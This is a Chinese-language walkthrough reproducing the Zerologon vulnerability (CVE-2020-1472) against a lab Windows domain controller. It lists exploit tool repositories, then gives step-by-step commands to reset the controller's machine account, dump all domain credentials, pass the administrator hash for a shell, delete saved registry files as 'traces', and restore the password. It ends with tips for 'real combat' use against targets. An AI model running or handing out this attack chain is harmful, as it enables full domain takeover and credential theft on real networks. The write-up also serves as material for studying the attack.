简介

CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞,攻击者通过NetLogon,建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。

漏洞验证工具:https://github.com/SecuraBV/CVE-2020-1472

利用+重置工具:https://github.com/risksense/zerologon

重置hexpass 工具:https://github.com/dirkjanm/CVE-2020-1472

工具运行环境:https://github.com/SecureAuthCorp/impacket

影响版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

复现过程

域控IP:192.168.159.149

域内跳板IP:192.168.159.154

域:Motoo.nc

查看域控的主机名:

net group "domain controllers" /domain

图片

可以看到 Motoo-DCSRV 是域控的主机名!

首先通过 Poc 检测漏洞是否存在:

python3 cve-2020-1472-poc.py Motoo-DCSRV 192.168.159.149

图片

返回 Success,说明漏洞存在!

使用 exploit 漏洞脚本将域控机器账号重置:

python3 cve-2020-1472-exploit.py Motoo-DCSRV 192.168.159.149

图片

之后使用 DCSync 导出域内所有用户的凭证:(主要有四个空格)

python3 secretsdump.py Motoo.nc/Motoo-DCSRV$@192.168.159.149    -no-pass

图片

得到了域控的 Hash:

Motoo.nc\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7c85389bc79a4eb184e620b6e8c37905

然后再通过 wmic hash 传递:

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7c85389bc79a4eb184e620b6e8c37905 Motoo.nc/Administrator@192.168.159.149

图片

然后通过导出 sam system 等文件到本地,获取域控机器上本地保存之前的 hash 值用于恢复,不然就脱域了:

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save 

图片

记得下载完后删除痕迹文件:

del /f system.save
del /f sam.save
del /f security.save

图片

之后你会发现再你的当前机器会生成几个文件:sam.save、security.save、system.save

图片

之后通过 sam.save、security.save、system.save 这些文件获得原来域控机器上的 Ntlm Hash 值,用于恢复密码:

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

图片

通过拿到 $MACHINE.ACC: 的值,然后进行恢复:注意只有后半部分:

$MACHINE.ACC: 的值
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:ce7b34c0f2c72d6cb03123ef5ff741ca
python3 reinstall_original_pw.py Motoo-DCSRV 192.168.159.149 ce7b34c0f2c72d6cb03123ef5ff741ca

图片

这个时候你还可以使用脚本来检测是否恢复密码成功:

python3 secretsdump.py Motoo.nc/Motoo-DCSRV$@192.168.159.149 -just-dc-no-pass

图片

或者还可以使用这个:注意四个空格

python3 secretsdump.py Motoo.nc/Motoo-DCSRV$@192.168.159.149    -no-pass

可以看到我们使用空密码去获取域内的所有用户的凭证已经不行了:

图片

这个时候才是真正恢复成功!大家在实战的时候一定要在本地多次复现!别在实战中重置了域控的密码为空,结果你不会还原导致目标脱域了,你就GG了!